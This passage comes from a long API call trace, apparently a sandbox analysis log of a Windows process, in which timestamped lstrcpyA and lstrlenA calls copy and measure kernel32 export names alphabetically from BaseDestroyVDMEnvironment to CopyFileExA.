lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0084.395] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0084.395] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0084.395] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0084.395] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0084.395] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0084.395] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0084.395] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0084.395] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0084.395] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0084.395] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0084.396] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0084.396] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0084.396] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0084.396] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0084.396] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0084.396] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0084.396] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0084.396] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0084.396] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0084.396] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0084.396] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0084.396] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0084.396] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0084.396] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0084.396] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0084.396] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0084.397] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0084.397] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0084.397] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0084.397] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0084.397] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0084.397] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0084.397] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0084.397] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0084.397] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0084.397] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0084.397] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0084.397] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0084.397] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0084.397] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0084.397] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0084.398] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0084.398] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0084.398] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0084.398] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0084.398] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0084.398] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0084.398] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0084.398] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0084.398] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0084.398] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0084.398] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0084.398] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0084.398] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0084.398] lstrlenA (lpString="BEEP") returned 4 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0084.398] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0084.398] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0084.398] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0084.399] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0084.399] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0084.399] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0084.399] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0084.399] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0084.399] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0084.399] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0084.399] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0084.399] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0084.399] lstrlenA (lpString="CANCELIO") returned 8 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0084.399] lstrlenA (lpString="CANCELIOEX") returned 10 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0084.399] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0084.399] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0084.399] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0084.399] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0084.399] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0084.399] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0084.399] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0084.399] lstrlenA (lpString="CHECKELEVATION") returned 14 [0084.399] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0084.399] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0084.400] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0084.400] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0084.400] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0084.400] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0084.400] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0084.400] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0084.400] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0084.400] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0084.400] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0084.400] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0084.400] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0084.400] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0084.400] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0084.400] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0084.400] lstrlenA (lpString="CLOSESTATE") returned 10 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0084.400] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0084.400] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0084.400] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0084.400] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0084.400] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0084.400] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0084.400] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0084.401] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0084.401] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0084.401] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0084.401] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0084.401] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0084.401] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0084.401] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0084.401] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0084.401] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0084.401] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0084.401] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0084.401] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0084.401] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0084.401] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0084.401] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0084.401] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0084.401] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0084.401] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0084.401] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0084.402] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0084.402] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0084.402] lstrlenA (lpString="COPYCONTEXT") returned 11 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0084.402] lstrlenA (lpString="COPYFILE2") returned 9 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0084.402] lstrlenA (lpString="COPYFILEA") returned 9 [0084.402] lstrcpyA (in: lpString1=0x2fdf298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") 